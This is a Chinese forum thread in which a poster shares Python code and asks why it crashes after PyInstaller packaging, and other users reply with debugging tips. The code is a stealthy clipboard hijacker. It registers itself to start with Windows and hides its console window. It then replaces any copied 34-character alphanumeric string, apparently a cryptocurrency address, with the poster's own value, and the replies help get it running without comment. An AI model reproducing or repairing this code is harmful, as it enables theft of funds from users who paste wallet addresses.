a2236451 发表于 2023-4-1 14:57:56

python程序在调试中运行一切正常,打包后就不能运行,直接闪退。

代码如下:
import win32clipboard
import win32api
import win32con
import pythoncom
import pyHook

# 替换为你的 11 位数据串
my_data = "***********“

# 存储最后一次剪贴板内容
last_data = ''

# 添加开机自启
def add_to_startup(file_path):
    key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, win32con.KEY_SET_VALUE)
    win32api.RegSetValueEx(key, "My Application", 0, win32con.REG_SZ, file_path)
    win32api.RegCloseKey(key)

# 隐藏窗口
def hide_console():
    import win32console
    import win32gui
    window = win32console.GetConsoleWindow()
    win32gui.ShowWindow(window, win32con.SW_HIDE)

# 创建 hook 监听剪贴板内容改变
def OnClipboardChanged(event):
    global last_data
    # 获取剪贴板内容
    win32clipboard.OpenClipboard()
    data = win32clipboard.GetClipboardData()
    win32clipboard.CloseClipboard()

    # 如果剪贴板内容改变,且是 11 位数字串,则替换为你的数据串并写入剪贴板
    if data != last_data and data.isalnum() and len(data) == 34:
      last_data = data
      win32clipboard.OpenClipboard()
      win32clipboard.EmptyClipboard()
      win32clipboard.SetClipboardText(my_data)
      win32clipboard.CloseClipboard()

    return True

# 设置 hook 监听剪贴板内容改变
def SetClipboardHook():
    hm = pyHook.HookManager()
    hm.KeyDown = OnClipboardChanged
    hm.HookKeyboard()
    pythoncom.PumpMessages()
    win32clipboard.OpenClipboard()
    win32clipboard.CloseClipboard()


# 添加开机自启
add_to_startup(r"C:\path\to\python.exe C:\path\to\your\script.py")

# 隐藏窗口
hide_console()

# 设置 hook 监听剪贴板内容改变
SetClipboardHook()

# 进入消息循环
pythoncom.PumpMessages()


在程序中调试是完全没问题的,但是我一打包EXE就会出问题,程序没法运行,但是也没有任何提示

请问各位老哥 怎么打包 能正常运行,或者这里面是否存在代码的问题。

isdkz 发表于 2023-4-1 14:59:01

你先不要用 -w 打包,弹出那个黑窗口你就知道哪里出错了

a2236451 发表于 2023-4-1 15:07:00

isdkz 发表于 2023-4-1 14:59
你先不要用 -w 打包,弹出那个黑窗口你就知道哪里出错了

应该怎么操作呢 能否讲解一下 大佬

isdkz 发表于 2023-4-1 15:08:03

a2236451 发表于 2023-4-1 15:07
应该怎么操作呢 能否讲解一下 大佬

你的打包命令是什么?

a2236451 发表于 2023-4-1 15:10:58

isdkz 发表于 2023-4-1 15:08
你的打包命令是什么?

pyinstaller your_script.py

isdkz 发表于 2023-4-1 15:13:55

a2236451 发表于 2023-4-1 15:10
pyinstaller your_script.py

你以管理员权限运行打包后的文件看看,可能是没有权限

a2236451 发表于 2023-4-1 15:15:31

isdkz 发表于 2023-4-1 15:13
你以管理员权限运行打包后的文件看看,可能是没有权限

测试过了 程序一直处于闪退的状态

isdkz 发表于 2023-4-1 15:19:28

a2236451 发表于 2023-4-1 15:15
测试过了 程序一直处于闪退的状态

你打开cmd运行这个程序应该可以看到报错信息,可能是找不到模块

a2236451 发表于 2023-4-1 15:46:20

isdkz 发表于 2023-4-1 15:19
你打开cmd运行这个程序应该可以看到报错信息,可能是找不到模块

没办法看不到

hrpzcf 发表于 2023-4-1 15:49:44

本帖最后由 hrpzcf 于 2023-4-1 15:53 编辑

用调试模式打包先看一下出错信息

歌者文明清理员 发表于 2023-4-1 15:51:36

a2236451 发表于 2023-4-1 15:46
没办法看不到

WIN+R, CMD
CD 找到目录
XXX.exe

a2236451 发表于 2023-4-1 16:07:58

hrpzcf 发表于 2023-4-1 15:49
用调试模式打包先看一下出错信息

打包了 运行了,但是看不到日志生成在哪里

hrpzcf 发表于 2023-4-1 16:23:01

a2236451 发表于 2023-4-1 16:07
打包了 运行了,但是看不到日志生成在哪里

加上--debug=all参数打包,打包完后在exe所在目录打开cmd,然后把exe拖到cmd,回车运行就能看到输出信息了

a2236451 发表于 2023-4-1 23:16:23

hrpzcf 发表于 2023-4-1 16:23
加上--debug=all参数打包,打包完后在exe所在目录打开cmd,然后把exe拖到cmd,回车运行就能看到输出信息 ...

输出信息直接闪退

wp231957 发表于 2023-4-2 06:48:48

a2236451 发表于 2023-4-1 23:16
输出信息直接闪退

你是咋运行的?双击??cmd程式不能双击运行

hrpzcf 发表于 2023-4-2 11:12:24

a2236451 发表于 2023-4-1 23:16
输出信息直接闪退

先打开cmd,怎么会闪退咧

isdkz 发表于 2023-4-2 20:52:37

hrpzcf 发表于 2023-4-2 11:12
先打开cmd,怎么会闪退咧

可能他就听不明白在cmd下运行{:10_277:}

hrpzcf 发表于 2023-4-2 21:47:12

isdkz 发表于 2023-4-2 20:52
可能他就听不明白在cmd下运行

可能在cmd里运行时程序又打开一个新的控制台了,新控制台是会自己关闭的,不过用调试模式打包不应该出现这种情况的啊
页: [1]
查看完整版本: python程序在调试中运行一切正常,打包后就不能运行,直接闪退。